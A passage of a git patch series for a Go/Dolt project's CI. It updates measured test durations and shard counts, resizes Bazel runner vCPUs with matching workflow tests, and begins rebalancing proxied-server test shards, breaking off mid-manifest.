"TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.4, + "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.42, + "TestEmbeddedRelationsRefusesTheZeroDirection": 0.46, + "TestEmbeddedRelationsResolvesAWispAnchor": 1.03, + "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.09, + "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.42, + "TestEmbeddedRemoteMigrateGate_BlocksReopen": 9.98, + "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 8.71, + "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 0.94, + "TestEmbeddedReopenIssueCategorySemantics": 3.54, + "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.62, + "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.35, "TestEmbeddedSQLCommitResponseLossIsIndeterminate": 0.0, - "TestEmbeddedSyncCommitsConfigBeforeMerge": 1.4, - "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 21.52, - "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 1.63, - "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 3.09, - "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 2.64, - "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 8.69, + "TestEmbeddedSyncCommitsConfigBeforeMerge": 0.7, + "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 10.07, + "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 0.86, + "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 2.33, + "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 1.52, + "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 6.16, "TestEpochContract": 0.0, - "TestEventsAutoPruneBoundsTheJournalToTheFloors": 2.74, - "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 1.51, - "TestEventsAutoPruneThrottleSkipsTheSecondPass": 3.34, - "TestEventsJournalAccessor": 2.42, - "TestEventsJournalPruneNeverSplitsASkewedPair": 2.51, - "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 2.02, - "TestEventsJournalReadRefusesAnInteriorHole": 1.83, - "TestEventsJournalRestartAndRetentionBoundary": 4.32, - "TestEventsJournal_ActorMatrixOnEmbedded": 5.04, - "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 4.15, - "TestEventsSinceEmbedded": 2.2, + "TestEventsAutoPruneBoundsTheJournalToTheFloors": 1.73, + "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 0.97, + "TestEventsAutoPruneThrottleSkipsTheSecondPass": 1.57, + "TestEventsJournalAccessor": 1.66, + "TestEventsJournalPruneNeverSplitsASkewedPair": 1.48, + "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 0.97, + "TestEventsJournalReadRefusesAnInteriorHole": 1.14, + "TestEventsJournalRestartAndRetentionBoundary": 1.46, + "TestEventsJournal_ActorMatrixOnEmbedded": 4.21, + "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 2.6, + "TestEventsSinceEmbedded": 0.98, "TestExpectedRevisionContract": 0.0, - "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 38.8, - "TestForeignSkipDetailIsBounded": 9.16, - "TestGetDependentRecordsEmbedded": 2.76, - "TestGetDependentRecordsForIssuesEmbedded": 4.19, - "TestGetIssue": 3.8, - "TestGetIssueCommentsPageEmbedded": 5.56, - "TestGetLabels": 1.66, - "TestGetNextChildID": 5.99, - "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 8.29, - "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 3.58, - "TestGetReadyWorkMoleculeFilter": 2.41, + "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 24.77, + "TestForeignSkipDetailIsBounded": 5.58, + "TestGetDependentRecordsEmbedded": 2.15, + "TestGetDependentRecordsForIssuesEmbedded": 3.4, + "TestGetIssue": 2.37, + "TestGetIssueCommentsPageEmbedded": 3.1, + "TestGetLabels": 1.25, + "TestGetNextChildID": 3.75, + "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 6.5, + "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 1.58, + "TestGetReadyWorkMoleculeFilter": 1.61, "TestGitRefPinsMatchDolt": 0.0, - "TestGraphCounterContract": 15.92, + "TestGraphCounterContract": 9.86, + "TestGraphWalkPlansHonorJoinHints": 5.53, "TestHasRepository": 0.0, - "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 1.01, - "TestHeartbeatRejectsWispEmbedded": 0.69, + "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 0.56, + "TestHeartbeatRejectsWispEmbedded": 0.29, "TestHelperProcess": 0.0, - "TestHistoryPresenceContract": 3.26, - "TestHistory_NullTextColumns": 1.66, - "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 3.06, - "TestIgnoredCursorHealConvergesFromEveryCrashState": 4.9, - "TestIgnoredCursorHealIsIdempotent": 2.0, - "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 1.95, - "TestIgnoredCursorHealRespectsOperatorOverride": 1.02, - "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.95, - "TestIgnoredCursorHealResumeRespectsOperatorOverride": 1.14, - "TestIsBlockedBatchEmbedded": 2.64, - "TestJournalContract": 9.95, - "TestLargeBatchApplyStatementCounts356_Embedded": 79.51, + "TestHistoryPresenceContract": 1.96, + "TestHistory_NullTextColumns": 0.97, + "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 1.86, + "TestIgnoredCursorHealConvergesFromEveryCrashState": 3.68, + "TestIgnoredCursorHealIsIdempotent": 1.62, + "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 0.92, + "TestIgnoredCursorHealRespectsOperatorOverride": 0.55, + "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.44, + "TestIgnoredCursorHealResumeRespectsOperatorOverride": 0.7, + "TestIsBlockedBatchEmbedded": 2.12, + "TestJournalContract": 9.43, + "TestLargeBatchApplyStatementCounts356_Embedded": 22.91, "TestLargeBatchApplyStatementCounts712_Embedded": 1.0, - "TestLargeBatchApplyStatementCountsClassic40_Embedded": 8.73, - "TestLargeBatchApplyWallClock_Embedded": 80.7, - "TestLeaseLifecycleEmbedded": 3.76, - "TestLegacyTrackedIgnoredCursorHealsOnOpen": 1.39, - "TestLegacyTrackedIgnoredCursorUnwedgesPull": 7.0, + "TestLargeBatchApplyStatementCountsClassic40_Embedded": 5.79, + "TestLargeBatchApplyWallClock_Embedded": 21.85, + "TestLargeGraphCreateTiming_Embedded": 0.0, + "TestLeaseLifecycleEmbedded": 3.01, + "TestLegacyTrackedIgnoredCursorHealsOnOpen": 0.83, + "TestLegacyTrackedIgnoredCursorUnwedgesPull": 4.25, "TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance": 0.0, "TestLenientGateWarningBody_ShapedDecisions": 0.0, "TestLenientGateWarning_ComposedOutput": 0.0, - "TestLifecycleCloseReopenContract": 76.34, - "TestLifecycleCreateContract": 12.17, - "TestLifecycleUpdateContract": 39.87, - "TestListWisps": 1.63, - "TestMemoriesContract": 13.94, - "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 1.32, - "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 1.22, - "TestMergeWithStrategy_OursKeepsLocal": 1.19, - "TestMergeWithStrategy_TheirsResolvesAndCommits": 1.19, - "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 1.13, - "TestMetadataCASContract": 14.63, - "TestOpenAfterCloseCreatesNewStore": 17.64, - "TestOpenDifferentDirsReturnsDifferentStores": 36.11, - "TestOpenReturnsCachedStore": 19.64, - "TestPartitionWispIDs": 1.2, - "TestPreviewStoreRefusesLocalMetadataWrite": 17.18, - "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 2.42, - "TestPromoteClearsNoHistory": 3.01, - "TestPromoteStillWorksWithCollisionGuard": 1.36, - "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.97, - "TestPushCommitsPendingChangesFirst": 89.08, - "TestQuerierContract": 15.49, - "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 1.38, - "TestReadyCounterContract": 8.16, - "TestReadyWorkPageTotal": 30.66, - "TestReadyWorkPageTotalFilterMatrix": 23.68, - "TestReadyWorkStatementBudget": 22.78, - "TestReadyWorkWithMissingDeferredParentTables": 5.52, - "TestReclaimAnyReplicaOverride": 0.89, - "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 20.55, - "TestReclaimRefusesForeignReplicaLease": 1.28, - "TestReleaserContract": 8.65, + "TestLifecycleCloseReopenContract": 64.3, + "TestLifecycleCreateContract": 9.5, + "TestLifecycleUpdateContract": 32.78, + "TestListWisps": 1.0, + "TestMemoriesContract": 10.65, + "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 1.06, + "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 1.14, + "TestMergeWithStrategy_OursKeepsLocal": 0.65, + "TestMergeWithStrategy_TheirsResolvesAndCommits": 0.61, + "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 0.52, + "TestMetadataCASContract": 9.64, + "TestOpenAfterCloseCreatesNewStore": 11.35, + "TestOpenDifferentDirsReturnsDifferentStores": 22.39, + "TestOpenReturnsCachedStore": 10.72, + "TestPartitionWispIDs": 0.75, + "TestPreviewStoreRefusesLocalMetadataWrite": 11.12, + "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 1.63, + "TestPromoteClearsNoHistory": 1.77, + "TestPromoteStillWorksWithCollisionGuard": 6.08, + "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.23, + "TestPushCommitsPendingChangesFirst": 59.03, + "TestQuerierContract": 7.95, + "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 0.63, + "TestReadyCounterContract": 4.93, + "TestReadyWorkPageTotal": 21.9, + "TestReadyWorkPageTotalFilterMatrix": 15.52, + "TestReadyWorkStatementBudget": 14.59, + "TestReadyWorkWithMissingDeferredParentTables": 4.54, + "TestReclaimAnyReplicaOverride": 0.71, + "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 13.82, + "TestReclaimRefusesForeignReplicaLease": 0.74, + "TestReleaserContract": 5.0, "TestRemoteEntryPointsUseVersionControlOps": 0.0, - "TestRemoteGitDataRefOnEngine": 2.82, - "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 17.91, - "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 17.51, - "TestRemoteVerbsPresentStoredPeerCredentials": 20.79, - "TestRenameLabel": 3.42, - "TestRenameLabelMintsOneVersionPerTouchedBead": 4.17, - "TestReopenIssue": 1.7, + "TestRemoteGitDataRefOnEngine": 1.4, + "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 10.97, + "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 12.14, + "TestRemoteVerbsPresentStoredPeerCredentials": 12.78, + "TestRenameLabel": 1.98, + "TestRenameLabelMintsOneVersionPerTouchedBead": 2.45, + "TestReopenIssue": 1.09, "TestRetentionContract": 0.0, - "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.62, - "TestSchemaAfterInit": 17.05, - "TestSearchWithMissingWispPlaneTables": 3.33, + "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.44, + "TestSchemaAfterInit": 10.4, + "TestSearchWithMissingWispPlaneTables": 1.92, "TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed": 0.0, - "TestStatsReporterContract": 14.39, - "TestSweeperContract": 25.68, + "TestStatsReporterContract": 9.56, + "TestSweeperContract": 17.21, "TestTransactionCleanupAfterSQLCommitIsIndeterminate": 0.0, "TestTransactionCleanupBeforeSQLCommitRemainsDefinite": 0.0, - "TestTreeWalkerContract": 22.54, - "TestUnknownProvenanceLeaseStaysReclaimable": 1.83, - "TestUpdateIssueType": 0.83, - "TestUpdateMergeOps_DoltEngine": 0.92, - "TestUpdateMergeOps_DoltEngine_TwoIssues": 1.16, - "TestVersionReconcilerContract": 4.02, - "TestWithPeerAuth": 87.8, - "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 20.0, - "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 17.14, - "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 19.57, - "TestWithPeerAuth_KeyMismatchFailsClosed": 16.51, - "TestWithPeerAuth_MissingRemoteFailsClosed": 17.76, - "TestWithPeerAuth_RestoresAbsentEnv": 17.9, - "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 16.84, - "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword": 121.04, - "TestWorkspaceConfigContract": 7.42 + "TestTreeWalkerContract": 12.82, + "TestUnknownProvenanceLeaseStaysReclaimable": 1.21, + "TestUpdateIssueType": 0.51, + "TestUpdateMergeOps_DoltEngine": 0.49, + "TestUpdateMergeOps_DoltEngine_TwoIssues": 0.77, + "TestVersionReconcilerContract": 2.4, + "TestWithPeerAuth": 51.7, + "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 12.63, + "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 12.79, + "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 8.72, + "TestWithPeerAuth_KeyMismatchFailsClosed": 11.39, + "TestWithPeerAuth_MissingRemoteFailsClosed": 10.01, + "TestWithPeerAuth_RestoresAbsentEnv": 11.38, + "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 12.11, + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword": 61.05, + "TestWorkspaceConfigContract": 5.37 } } diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index bbc953180..2bb020b41 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -19,7 +19,7 @@ import ( // S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale below — // see that test's doc comment for the full --check rationale, not repeated -// here): the Bazel-only 50-shard cmd block and 15-shard storage block are +// here): the Bazel-only 50-shard cmd block and 20-shard storage block are // not frozen like their files' legacy 20- and 5-shard blocks. // gen_embedded_{cmd,storage}_shard_manifest.py --check verifies only that // the committed block names every discovered test exactly once, failing with @@ -45,7 +45,7 @@ func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { // TestStorageEmbeddedShardManifestGeneratorNotStale mirrors // TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's -// Bazel-only 15-shard block; see that test's doc comment. +// Bazel-only 20-shard block; see that test's doc comment. func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { python := requireHostTool(t, "python3") root := sourceRepoRoot(t) @@ -138,7 +138,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // duration balancing. totalsSet[bazelEmbeddedCmdShardCount(t)] = true case ".github/scripts/embedded-storage-test-shard.sh": - // F1: mirrors the cmd case above for the 15-shard storage block. + // F1: mirrors the cmd case above for the 20-shard storage block. totalsSet[bazelEmbeddedStorageShardCount(t)] = true case ".github/scripts/server-storage-test-shard.sh": totalsSet[bazelServerFullShardCount(t)] = true From f60de63a75e1db09aff3defca580e8b05ba92e4d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 08:45:05 +0000 Subject: [PATCH 075/213] ci(bazel): 8 vCPU client for bazel-test, 4 vCPU for the other Bazel lanes (#7422) Client-side loading and analysis is CPU-bound and gates every action in a remote lane. Analysis-only measurements on Blacksmith (ga-vnycm2.8, seeded runner cache, gazelle tools from the repository cache): bazel-test 25.6 s on 4 vCPU vs 16.3 s on 8; the other lanes 17-38 s on 2 vCPU vs 12-22 s on 4. rbe-prewarm runs no Bazel client and stays on 2 vCPU (owner decision, ga-vnycm2.12). Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 24 ++++++++++++------------ scripts/ci_blacksmith_runner_test.go | 28 ++++++++++++++++------------ scripts/ci_workflow_test.go | 10 +++++----- 3 files changed, 33 insertions(+), 29 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index eb761aa7f..b3d13b0f6 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -729,14 +729,14 @@ jobs: # Fork modes (fork-ro/fork-rw) execute remotely but stay GitHub-hosted, # like every fork job: the runner is only a client. # - # 4 vCPU, not the other lanes' 2: with every action a remote cache hit, + # 8 vCPU, not the other lanes' 4: with every action a remote cache hit, # this lane's `bazel test //... --config=ci` spent ~63 of 81s in # client-side loading and analysis (1798 packages, 66k configured # targets; critical path 7.65s, merge group 37721729916), which Bazel - # parallelizes across the client's cores. Revert to 2 vCPU if the A/B - # does not save at least 15s on that step. + # parallelizes across the client's cores. Analysis-only, seeded runner + # cache (ga-vnycm2.8): 38.3s on 2 vCPU, 25.6s on 4, 16.3s on 8. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed # worker pool shared with gascity). Skipped only in mode skip (same-repo # runs while RBE_WEST_WORKERS is unset). @@ -1009,7 +1009,7 @@ jobs: name: pure-Go and js/wasm # Same runner and skip rule as bazel-test. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 outputs: @@ -1226,7 +1226,7 @@ jobs: bazel-release-cross: name: release cross-compile needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 outputs: @@ -1316,7 +1316,7 @@ jobs: # The runs-on expression is the shared one: Blacksmith in mode remote, # GitHub-hosted in the fork modes (a client only). needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 60 outputs: @@ -1486,7 +1486,7 @@ jobs: # A caller may turn it off with integration: "off"; pr.yml and # bazel-farm.yml pass "on". needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }} timeout-minutes: 85 outputs: @@ -1622,7 +1622,7 @@ jobs: name: dolt-server lane # Same runner and skip rule as bazel-test. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 outputs: @@ -1751,7 +1751,7 @@ jobs: # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 30 outputs: @@ -1922,7 +1922,7 @@ jobs: # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 30 outputs: @@ -2084,7 +2084,7 @@ jobs: bazel-cmd-dolt: name: cmd/bd Dolt-server tier needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }} timeout-minutes: 85 continue-on-error: true diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 35685349a..d9b6e5fbc 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -63,17 +63,20 @@ func bazelRemoteRunsOn(label string) string { return "${{ needs.rbe.outputs.mode == 'remote' && '" + label + "' || 'ubuntu-latest' }}" } -// The default lane size: the runner is only an RBE client (every action -// executes on rbe-west), so 2 vCPU is enough. -var bazelLaneRunsOn = bazelRemoteRunsOn("blacksmith-2vcpu-ubuntu-2404") +// The default lane size: every action executes on rbe-west, but the +// client's loading and analysis is CPU-bound and gates every action +// (ga-vnycm2.8: 17-38 s on 2 vCPU, 12-26 s on 4), so 4 vCPU. +var bazelLaneRunsOn = bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404") -// Runner-size A/B (ci/bigger-runners-ab, 2026-10-08): bazel-test's -// `bazel test //... --config=ci` spent ~63 of its 81 s in client-side loading -// and analysis (1798 packages, 66k configured targets; critical path 7.65 s, -// every action a remote cache hit), which Skyframe parallelizes across the -// client's cores. 4 vCPU; revert to bazelLaneRunsOn if the PR run does not -// save at least 15 s on that step. -var bazelTestLaneRunsOn = bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404") +// rbe-prewarm only dispatches a pool worker: no Bazel client, 2 vCPU. +var bazelPrewarmRunsOn = bazelRemoteRunsOn("blacksmith-2vcpu-ubuntu-2404") + +// bazel-test's `bazel test //... --config=ci` spent ~63 of its 81 s in +// client-side loading and analysis (1798 packages, 66k configured targets; +// critical path 7.65 s, every action a remote cache hit), which Skyframe +// parallelizes across the client's cores: 8 vCPU (ga-vnycm2.8 analysis-only: +// 25.6 s on 4 vCPU, 16.3 s on 8). +var bazelTestLaneRunsOn = bazelRemoteRunsOn("blacksmith-8vcpu-ubuntu-2404") // The package gates: package-npm at 4 vCPU (F3); package-mcp at 8 vCPU with // pytest -n 16 (bazelMCPPytestWorkers), since its pytest run is dominated by @@ -565,9 +568,10 @@ func TestBlacksmithWindowsMacOSRunsOnEveryEvent(t *testing.T) { func TestBlacksmithBazelRunnerSizes(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) wantRemote := map[string]string{ - bazelJobName: "blacksmith-4vcpu-ubuntu-2404", + bazelJobName: "blacksmith-8vcpu-ubuntu-2404", bazelPackageMCPJobName: "blacksmith-8vcpu-ubuntu-2404", bazelPackageNPMJobName: "blacksmith-4vcpu-ubuntu-2404", + bazelRBEPrewarmJobName: "blacksmith-2vcpu-ubuntu-2404", } mcpGate := workflow.job(t, bazelPackageMCPJobName).step(t, "Run MCP package gate") if got := mcpGate.Env["BEADS_MCP_PYTEST_WORKERS"]; got != bazelMCPPytestWorkers { @@ -581,7 +585,7 @@ func TestBlacksmithBazelRunnerSizes(t *testing.T) { } want := "ubuntu-latest" if mode == "remote" { - want = "blacksmith-2vcpu-ubuntu-2404" + want = "blacksmith-4vcpu-ubuntu-2404" if label, ok := wantRemote[name]; ok { want = label } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 174e8255e..68c696a03 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1941,8 +1941,8 @@ const bazelIntegIf = "${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outp const bazelPackageGatesIf = "${{ inputs.package-gates == 'on' }}" // F3: the package gates' runners (bazelPackageRunsOn, in -// ci_blacksmith_runner_test.go with the other runner sizes) are larger than -// bazel.yml's usual 2 vCPU because they run pytest/npm on the runner itself. +// ci_blacksmith_runner_test.go with the other runner sizes) are sized for +// pytest/npm on the runner itself, not for a Bazel client alone. // Mode remote only: the gates take no rbe-fork certificate, so fork modes // (enabled too) build bd with go build on a GitHub-hosted runner, as before. @@ -2164,11 +2164,11 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { // lane does: its build is --config=integration's. wantJobIf = bazelIntegIf } else if name == bazelRBEPrewarmJobName { - // Same runs-on ternary as every other lane (wantRunsOn, set - // above); only the if differs. Not a lane: never uses + // The lanes' runs-on ternary at 2 vCPU (no Bazel client); only + // the size and the if differ. Not a lane: never uses // setup-bazel, so wantJobSetupEnv is moot (the per-step check // below only fires for a setup-bazel step). - wantJobIf = bazelRBEPrewarmIf + wantJobRunsOn, wantJobIf = bazelPrewarmRunsOn, bazelRBEPrewarmIf } if job.RunsOn != wantJobRunsOn { t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantJobRunsOn) From c4c66d42a2e11cea3254446afd5d13dde7478633 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 08:53:35 +0000 Subject: [PATCH 076/213] ci(bazel): rebalance the proxied-server tier on rbe-west measurements (30 -> 44 shards) (#7418) //cmd/bd:bd_proxied_test's 30-shard block was packed from a local capture of each test's , which for a t.Parallel test spans the time it sat paused behind its shard's other tests. Cheap tests that waited looked as heavy as the shard, so the "balanced" block ran 38-286s per shard in CI (356s on rbe-west). - scripts/ci/proxied_test_durations.json: re-measured on rbe-west (two --nocache_test_results runs), each test's cost the sum of its leaf tests' , averaged over both runs. - Measured where a test's time goes: nearly all of it is `bd init --proxied-server` against the shard's dolt sql-server (~2,000 statements, 81 DOLT_COMMITs, ~6-12 server CPU-seconds per init), one per subtest. Top-level tests with ~20 such subtests ran up to ~350s alone, above any shard budget, so the fifteen heaviest are split into two or three top-level functions (TestProxiedServerUpdate/-UpdateB/-UpdateC, ...). Each subtest is moved verbatim; the split functions repeat the original's preamble. - 30 -> 44 shards, LPT-packed to <=430 cost-seconds per shard. rbe-west, --nocache_test_results: before 30 shards, max 356s, 5,671 shard-seconds; after 44 shards, max 159s (median 138s), 5,883 shard-seconds. Bead: ga-vnycm2.3 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/proxied-cmd-test-shards.txt | 413 ++++++++------- .github/workflows/bazel.yml | 44 +- cmd/bd/BUILD.bazel | 6 +- cmd/bd/close_proxied_integration_test.go | 17 +- cmd/bd/config_proxied_integration_test.go | 8 + cmd/bd/create_proxied_integration_test.go | 16 + cmd/bd/dep_proxied_integration_test.go | 32 +- cmd/bd/gate_check_proxied_integration_test.go | 11 + cmd/bd/label_proxied_integration_test.go | 18 + cmd/bd/ready_proxied_integration_test.go | 17 +- cmd/bd/reopen_proxied_integration_test.go | 8 + cmd/bd/show_proxied_integration_test.go | 26 +- cmd/bd/update_proxied_integration_test.go | 34 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- engdocs/TESTING.md | 4 +- scripts/ci/gen_proxied_shard_manifest.py | 2 +- scripts/ci/proxied_test_durations.json | 480 +++++++++--------- scripts/shard_manifest_test.go | 7 +- 18 files changed, 669 insertions(+), 476 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index b51c393b8..195ff2c5f 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -225,12 +225,12 @@ # # Format: # -# 30-shard split for the Bazel-only proxied-server tier +# 44-shard split for the Bazel-only proxied-server tier # (bazel-proxied in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/proxied_test_durations.json (see that file for # provenance and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 30 +# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 44 # --weights=duration --write after adding or removing # TestProxiedServer*/TestServerMode* functions. --write is incremental: # it keeps every already-assigned test on its current shard and only @@ -252,219 +252,254 @@ # regeneration. Add them to the generator or the durations file # instead. -30 1 TestProxiedServerGateList -30 1 TestProxiedServerHuman -30 1 TestProxiedServerReclaim -30 1 TestProxiedServerSQLStatementRouting -30 1 TestProxiedServerServeLifecycle +44 1 TestProxiedServerDep2 +44 1 TestProxiedServerServeAddDependencies -30 2 TestProxiedServerCloseBeadGate -30 2 TestProxiedServerDelete -30 2 TestProxiedServerDeleteForceOrphans -30 